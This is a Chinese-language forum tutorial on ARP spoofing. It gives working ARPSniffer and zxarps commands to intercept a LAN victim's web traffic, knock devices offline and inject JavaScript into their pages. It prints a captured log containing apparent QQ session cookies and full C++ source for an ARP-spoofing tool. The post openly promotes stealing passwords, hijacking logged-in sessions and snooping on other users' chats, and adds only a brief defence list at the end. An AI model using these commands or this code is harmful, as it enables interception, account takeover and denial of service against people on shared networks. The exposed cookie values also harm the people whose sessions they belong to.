设为首页收藏本站

嘻皮客娱乐学习网

 找回密码
 中文注册
搜索
打印 上一主题 下一主题
开启左侧

[OFFICE] 使用ARP欺骗,截取局域网中任意一台机器的网页请求,破解用户名密

[复制链接]
跳转到指定楼层
楼主
发表于 2017-4-5 13:42:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  首先普及一下基本知识:
  什么是网关
  首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门。
  ARP协议是什么
  ARP(Address Resolution Protocol)地址转换协议,工作在OSI模型的数据链路层,在以太网中,网络设备之间互相通信是用MAC地址而不是IP地址,ARP协议就是用来把IP地址转换为MAC地址的。而RARP和ARP相反,它是反向地址转换协议,把MAC地址转换为IP地址。
  假设A(192.168.1.2)与B(192.168.1.3)在同一局域网,A要和B实现通信。A首先会发送一个数据包到广播地址(192.168.1.255),该数据包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,这个数据包会被发放给局域网中所有的主机,但是只有B主机会回复一个包含了源IP(B)、源MAC、目的IP(A)、目的MAC的数据包给A,同时A主机会将返回的这个地址保存在ARP缓存表中。
  ARP 欺骗分为两种,一种是双向欺骗,一种是单向欺骗:
  单向ARP欺骗
  掐断 A 与 B 的通讯,实现原理:C 向 A 发送一条 Arp 数据包,内容为:B 的地址是 00:00:00:00:00:00 (一个错误的地址),那么 A 此后向 B 发的数据包都会发到 00,而这个地址是错误的,所以通讯中断了,但是要注意了,这里只是 A  B 中断了,B  A 没有中断,所以这个叫单向欺骗。
  掐断 B 与 A 的通讯,实现原理和第一条一样,如果和第一条一起发,那么 A 和 B 的通讯就完全中断了,即:A    B
  嗅探 A 与 B 的通讯,实现原理:C 向 A 发送一条 Arp 数据包,内容为:B 的地址是 AA:BB:CC:DD:EE:FF (C自己的地址),也就是说,C 对 A 说:我才是 B,于是 A 把向 B 发送的数据都发给 C 了,C 得到数据后就可以为所欲为了,可以直接丢弃,那么通讯中断,也可以再次转发给 B,那么又形成回路,C 当了个中间人,监视 A 和 B 的通讯,此时你就可以用CAIN等任何抓包工具进行本地嗅探了,因为目标机器数据完全从你这你走,任意嗅探。当然你可以不转发所有数据,只转发部分数据, 把某些特定协议的数据分离出来,然后单独处理,例如替换、修改(类似 zxarp 等 Arp 工具的插入、劫持数据功能),或者干点其他啥,都行。
  双向ARP欺骗
  A要跟C正常通讯,B向A说我是才C。B向C说我才是A,那么这样的情况下把A跟C的ARP缓存表全部修改了。以后通讯过程就是 A把数据发送给B,B在发送给C,C把数据发送B,B在把数据给A。
  攻击主机发送ARP应答包给被攻击主机和网关,它们分别修改其ARP缓存表为, 修改的全是攻击主机的MAC地址,这样它们之间数据都被攻击主机截获。
  开始ARP欺骗
  我们需要一个exe工具, ARPSniffer.exe
  , 这个是一个很古老的工具,下载地址是最后会给出来, 使用 ARPSniffer
  之前,必须安装 WinpCap
  ,已经安装过了就不要安装了;
  下载好了解压, 打开 命令行窗口(cmd)
  , 定位到 ARPSniffer
  目录下, 执行  arpsniffer.exe
  , 会出现以下的命令行帮助提示:

  安装提示的使用方法, arpsniffer的第一个参数为网关地址, 我这儿为: 192.168.1.1
  , 第二个参数为要欺骗的IP地址, IP为: 192.168.1.107
  , 第三个参数为要截取数据的端口号: 80
  , 第四个参数是要把捕获的数据保存到指定的文件: log.txt
  ,一整句命令为:
  arpsniffer 192.168.1.1 192.168.1.107 80  log.txt
  此时注意力转移到IP为 192.168.1.107
  的机器上, 在这台机器上随便打开几个网页;
  看到在执行命令行的那台计算机上, 命令行窗口一直在闪,   截图:

  截获的 log.txt
  文件, 内容为:
  111.13.82.76(80)-111.13.82.76(53349)
   敁p?        ?   111.13.82.76(80)-111.13.82.76(53349)
   敁p?        ?   111.13.82.76(80)-111.13.82.76(53349)
   敁p?        ?   111.13.82.76(80)-111.13.82.76(53349)
   敁p?        ?   111.13.82.76(80)-111.13.82.76(53349)
   敁p?        ?   111.13.82.76(80)-111.13.82.76(53349)
   敁p?        ?   192.168.1.109(56097)-192.168.1.109(80)
  GET /wan/box/Version/WDVersionUpdate.php?version=1.1.2.2uin=346668791apps=1105437481_0.5.3.6 HTTP/1.1
  Host: apps.game.qq.com
  Accept: */*
  117.144.244.45(80)-117.144.244.45(56097)
  HTTP/1.1 200 OK
  Server: nginx
  Date: Wed, 16 Nov 2016 06:25:01 GMT
  Content-Type: text/html
  Transfer-Encoding: chunked
  Connection: keep-alive
  Vary: Accept-Encoding
  6c
  锘縶bin:{ret:0,msg:you are the latest version},app:[{ret:0,id:1105437481}],ret:0,msg:}
  0
  192.168.1.109(56099)-192.168.1.109(80)
  POST /cm/ReportNew.php HTTP/1.1
  Referer: http://www.qq.com
  User-Agent: ctgame
  Host: apps.wusp.qq.com
  Content-Length: 907
  Cache-Control: no-cache
  Cookie: pt2gguin=o0004247426; RK=6GEq2bbyFh; ptcz=e031b28dc1c3f609157085d4ef85a6c7abaa89e74fe2b9ddb2c3d2f60f054ca1; pgv_pvid=9711168810; eas_sid=01m427J7j8q9k0V6z3v8b2J1l7; ptui_loginuin=1297282063; pgv_pvi=9363555328
  192.168.1.109(56099)-192.168.1.109(80)
  {
  data:
  [
  {
  table: MicroGBDoingEventNew,
  iUin: 0,
  iEventId: 50010,
  iAction: 2800264,
  iAppId: 4294967295,
  vMac: d4bed9e247df,
  iClientVersion: 1010202,
  iLoginWay: 4294967295,
  vFlashVersion: 13.0.0.182,
  vSysVersion: 6.1.7601,
  vBrowserVersion: 9.0.8112.16421
  },
  {
  table: MicroGBDoingEventNew,
  iUin: 0,
  iEventId: 50010,
  iAction: 2800275,
  iAppId: 4294967295,
  vMac: d4bed9e247df,
  iClientVersion: 1010202,
  iLoginWay: 4294967295,
  vFlashVersion: 13.0.0.182,
  vSysVersion: 6.1.7601,
  vBrowserVersion: 9.0.8112.16421
  }
  ]
  }
  117.135.175.161(80)-117.135.175.161(56099)
  HTTP/1.1 200 OK
  Server: nginx
  Date: Wed, 16 Nov 2016 06:25:02 GMT
  Content-Type: text/html
  Transfer-Encoding: chunked
  Connection: keep-alive
  Vary: Accept-Encoding
  29
  var ReportNew_JSON = {ret:0,msg:OK}
  0
  View Code
  目标机器请求的数据和收到的数据都会 被我截获
  , 目标机器的请求中如果有一些明文密码, 那么我们就可以...., 目标的请求 cookie
  也可以获取到, 也就是说,我们可以 绕过密码
  ,直接 登录网页的后台
  , 比如qq空间,qq邮箱, weibo
  啊这些地方;
  但是目前的 ARP
  欺骗属于 单向欺骗
  , 我们虽然截取目标机器的数据, 但是并没有转发, 所以 目标机器浏览网页的时候会卡死
  , 这样很容易被发觉, 我们继续往下走;
  让局域网中的任意一台计算机或者手机断线
  让局域网中的 任意一台计算机
  或者 手机断线
  ,前提是我们要先知道别人 手机IP或者 电脑IP
  ,接着执行命令, 第一个参数为本地的网关,第二个参数为要断网的设备,第三个参数为 端口号为80:
  ARPSniffer 192.168.1.1 192.168.1.105 80 log.txt
  以上的代码只是劫持了80 端口, 还要再劫持 443端口, 重新执行一遍 :
  ARPSniffer 192.168.1.1 192.168.1.105 443 log.txt
  此时 IP为192.168.1.105
  的设备将会断网, 此时这个设备可以是一台android手机或者iphone手机,或者电脑..等;
  zxarps实现双向截取数据,并修改网页内容
  zxarps可以截获服务器返回的内容,并返回个被攻击的机器,而且这个过程中被攻击的机器完全不会察觉到,文章最后会提供 zxarps.exe
  文件地址, 要使用 zxarps
  也需要安装 WinpCap.exe
  ;
  下载完毕以后解压, 同样使用 cmd
  (命令行窗口)定位到 zxarps
  的目录, 执行 zxarps.exe
  :

  按照 zxarp
  的文档, 我想让所有被攻击的用户在访问任意网站的时候, 执行我给出的JS代码, 构建出对应的命令为:
  zxarps.exe -idx 0 -ip 192.168.1.102 -p 80 -insert   scriptalert('chenqihao, sgoyi !')/script
  现在只要IP为192.168.1.102的计算机用户访问协议为http的网页, 页面中都会弹出一条消息,通过查看网页源代码也可以看到, javascript代码被正确插入到页面中:
  命令行提示 "成功插入代码" :

  IP为 192.168.0.107
  的用户登录 www.youku.com
  的时候页面上出现了一个提示框, 通过查看网页源码,我们也看到了 攻击者添加的JS代码
  :


  zxarps还有其他的使用方式,比如 捕获 用户的 网页请求数据
  和 接收数据
  , 截取IP为 192.168.1.7
  和 192.168.1.105
  的所有网页请求并保存起来, 构造如下的命令行:
  zxarps -idx 0 -ip 192.168.1.107,192.168.1.105 -p 80 -save_a log.txt
  命令行开始闪了, 抓包
  开始了咯, 抓取的所有数据都会保存到 log.txt
  中:

  ARP欺骗可以实现局域网挂广告, 盗取明文密码, 偷偷 刷weibo粉丝
  , 查看别人的聊天记录等, 获取局域网妹纸的微信号,qq号等, 毕竟可以插入JavaScript代码了, 啥事干不了...
  有些同学说,都是黑色窗口的命令行,我不会啊! 其实也有图形界面的ARP欺骗工具, netfuke
  , 至于怎么使用就不多做介绍了;
  arpCheat源码解析:
  arpCheat是基于C++的代码, 需要winpcap的相关lib, 互联网中的arp包格式为:

  我们只要构造出一个请求结构体,把结构体发送给远程计算机即可实现ARP欺骗, 提供一些代码作为参考:
  AppCheat.h
  #ifndef MY_ARP_CHEAT_INCLUDE_H   
  #define MY_ARP_CHEAT_INCLUDE_H   
  //字节对齐必须是1   
  #pragma pack (1)   
  struct ethernet_head   
  {   
  unsigned char dest_mac[6]; //目标主机MAC地址   
  unsigned char source_mac[6]; //源端MAC地址   
  unsigned short eh_type; //以太网类型   
  };   
  struct arp_head   
  {   
  unsigned short hardware_type; //硬件类型:以太网接口类型为1   
  unsigned short protocol_type; //协议类型:IP协议类型为0X0800   
  unsigned char add_len; //硬件地址长度:MAC地址长度为6B   
  unsigned char pro_len; //协议地址长度:IP地址长度为4B   
  unsigned short option; //操作:ARP请求为1,ARP应答为2   
  unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址   
  unsigned long sour_ip; //源IP地址:发送方的IP地址   
  unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址   
  unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址  
  unsigned char padding[18];   
  };   
  struct arp_packet //最终arp包结构   
  {   
  ethernet_head eth; //以太网头部   
  arp_head arp; //arp数据包头部   
  };   
  #pragma pack ()   
  /**  
  * 获得网卡的MAC地址  
  * pDevName 网卡的设备名称  
  */   
  unsigned char* GetSelfMac(char* pDevName);   
  /**  
  * 封装ARP请求包  
  * source_mac 源MAC地址  
  * srcIP 源IP  
  * destIP 目的IP  
  */   
  unsigned char* BuildArpPacket(unsigned char* source_mac,   
  unsigned long srcIP, unsigned long destIP);   
  #endif  
  View Code
  AppCheat.cpp
  #include stdio.h   
  #include pcap.h   
  #include conio.h   
  #include packet32.h   
  #include ntddndis.h   
  #include ArpCheat.h   
  int main(int argc,char* argv[]){   
  pcap_if_t *alldevs; //全部网卡列表   
  pcap_if_t *d; //一个网卡   
  int inum; //用户选择的网卡序号   
  int i=0; //循环变量   
  pcap_t *adhandle; //一个pcap实例   
  char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区   
  unsigned char *mac; //本机MAC地址   
  unsigned char *packet; //ARP包   
  unsigned long fakeIp; //要伪装成的IP地址   
  pcap_addr_t *pAddr; //网卡地址   
  unsigned long ip; //IP地址   
  unsigned long netmask; //子网掩码   
  if(argc!=2){   
  printf(Usage: %s inet_addr,argv[0]);   
  return -1;   
  }   
  //从参数列表获得要伪装的IP地址   
  fakeIp = inet_addr(argv[1]);   
  if(INADDR_NONE==fakeIp){   
  fprintf(stderr,Invalid IP: %s,argv[1]);   
  return -1;   
  }   
  /* 获得本机网卡列表 */   
  if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, alldevs, errbuf) == -1)   
  {   
  fprintf(stderr,Error in pcap_findalldevs: %s, errbuf);   
  exit(1);   
  }   
  /* 打印网卡列表 */   
  for(d=alldevs; d; d=d-next)   
  {   
  printf(%d, ++i);   
  if (d-description)   
  printf(. %s, d-description);   
  else   
  printf(. No description available);   
  }   
  //如果没有发现网卡   
  if(i==0)   
  {   
  printf(No interfaces found! Make sure WinPcap is installed.);   
  return -1;   
  }   
  //请用户选择一个网卡   
  printf(Enter the interface number (1-%d):,i);   
  scanf(%d, inum);   
  //如果用户选择的网卡序号超出有效范围,则退出   
  if(inum  1 || inum  i)   
  {   
  printf(Interface number out of range.);   
  /* Free the device list */   
  pcap_freealldevs(alldevs);   
  return -1;   
  }   
  /* 移动指针到用户选择的网卡 */   
  for(d=alldevs, i=0; i inum-1 ;d=d-next, i++);   
  mac = GetSelfMac(d-name+8); //+8以去掉rpcap://   
  printf(发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s,   
  mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);   
  /* 打开网卡 */   
  if ( (adhandle= pcap_open(d-name, // name of the device   
  65536, // portion of the packet to capture   
  0, //open flag   
  1000, // read timeout   
  NULL, // authentication on the remote machine   
  errbuf // error buffer   
  ) ) == NULL)   
  {   
  fprintf(stderr,Unable to open the adapter. %s is not supported by WinPcap,   
  d-name);   
  /* Free the device list */   
  pcap_freealldevs(alldevs);   
  return -1;   
  }   
  for(pAddr=d-addresses; pAddr; pAddr=pAddr-next){   
  //得到用户选择的网卡的一个IP地址   
  ip = ((struct sockaddr_in *)pAddr-addr)-sin_addr.s_addr;   
  //得到该IP地址对应的子网掩码   
  netmask = ((struct sockaddr_in *)(pAddr-netmask))-sin_addr.S_un.S_addr;   
  if (!ip || !netmask){   
  continue;   
  }   
  //看看这个IP和要伪装的IP是否在同一个子网   
  if((ipnetmask)!=(fakeIpnetmask)){   
  continue; //如果不在一个子网,继续遍历地址列表   
  }   
  unsigned long netsize = ntohl(~netmask); //网络中主机数  
  unsigned long net = ip  netmask; //子网地址   
  for(unsigned long n=1; nnetsize; n++){   
  //第i台主机的IP地址,网络字节顺序   
  unsigned long destIp = net | htonl(n);   
  //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的   
  packet = BuildArpPacket(mac,fakeIp,destIp);   
  if(pcap_sendpacket(adhandle, packet, 60)==-1){   
  fprintf(stderr,pcap_sendpacket error.);   
  }   
  }   
  }   
  return 0;   
  }   
  /**  
  * 获得网卡的MAC地址  
  * pDevName 网卡的设备名称  
  */   
  unsigned char* GetSelfMac(char* pDevName){   
  static u_char mac[6];   
  memset(mac,0,sizeof(mac));   
  LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);   
  if (!lpAdapter || (lpAdapter-hFile == INVALID_HANDLE_VALUE))   
  {   
  return NULL;   
  }   
  PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));   
  if (OidData == NULL)   
  {   
  PacketCloseAdapter(lpAdapter);   
  return NULL;   
  }   
  //   
  // Retrieve the adapter MAC querying the NIC driver   
  //   
  OidData-Oid = OID_802_3_CURRENT_ADDRESS;   
  OidData-Length = 6;   
  memset(OidData-Data, 0, 6);   
  BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);   
  if(Status)   
  {   
  memcpy(mac,(u_char*)(OidData-Data),6);   
  }   
  free(OidData);   
  PacketCloseAdapter(lpAdapter);   
  return mac;   
  }   
  /**  
  * 封装ARP请求包  
  * source_mac 源MAC地址  
  * srcIP 源IP  
  * destIP 目的IP  
  */   
  unsigned char* BuildArpPacket(unsigned char* source_mac,   
  unsigned long srcIP,unsigned long destIP)   
  {   
  static struct arp_packet packet;   
  //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF   
  memset(packet.eth.dest_mac,0xFF,6);   
  //源MAC地址   
  memcpy(packet.eth.source_mac,source_mac,6);   
  //上层协议为ARP协议,0x0806   
  packet.eth.eh_type = htons(0x0806);   
  //硬件类型,Ethernet是0x0001   
  packet.arp.hardware_type = htons(0x0001);   
  //上层协议类型,IP为0x0800   
  packet.arp.protocol_type = htons(0x0800);   
  //硬件地址长度:MAC地址长度为0x06   
  packet.arp.add_len = 0x06;   
  //协议地址长度:IP地址长度为0x04   
  packet.arp.pro_len = 0x04;   
  //操作:ARP请求为1   
  packet.arp.option = htons(0x0001);   
  //源MAC地址   
  memcpy(packet.arp.sour_addr,source_mac,6);   
  //源IP地址   
  packet.arp.sour_ip = srcIP;   
  //目的MAC地址,填充0   
  memset(packet.arp.dest_addr,0,6);   
  //目的IP地址   
  packet.arp.dest_ip = destIP;   
  //填充数据,18B   
  memset(packet.arp.padding,0,18);   
  return (unsigned char*)packet;   
  }
  View Code
  ARP欺骗的防范:
  1:不要随意登录免费的WIFI, 没人知道免费的WIFI是不是有恶意的攻击者在搞鬼;
  2:使用ARP绑定, 避免被ARP欺骗;
  3:开启电脑管家或者安全卫士的ARP防火墙;
  4:使用 https
  协议或者其他有保密协议的连接访问外网,避免被坑
  一定要注意:
  ARPSniffer和zxarp只能在window系统上运行, 目前测试环境为WIN7旗舰版, 在别的系统上不一定能跑(我的window10 和另外一台win8就不行), winpCap也要根据你的目前的系统, 选择32位或者64位的进行下载;
  exe文件下载列表:
  WinpCap下载安装: http://pan.baidu.com/s/1i48KJPz
  ARPSniffer.exe下载: http://pan.baidu.com/s/1qXUlkV6
  zxarp.exe下载地址: http://pan.baidu.com/s/1bNSetw
  arp绑定:: http://blog.sina.com.cn/s/blog_54c367d401018o1w.html
  ARP欺骗参考: http://blog.csdn.net/smstong/article/details/7221184
  ARP欺骗源码实现: http://blog.csdn.net/baggiowangyu/article/details/7081365
  WinPCap开发包: http://www.winpcap.org/devel.htm
  WinPCap: http://blog.csdn.net/tamarous/article/details/45753751
回复

使用道具 举报

小黑屋|手机版|嘻皮客网 ( 京ICP备10218169号|京公网安备11010802013797  

GMT+8, 2024-4-30 03:47 , Processed in 0.224397 second(s), 24 queries , Gzip On.

Powered by Discuz! X3.3

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表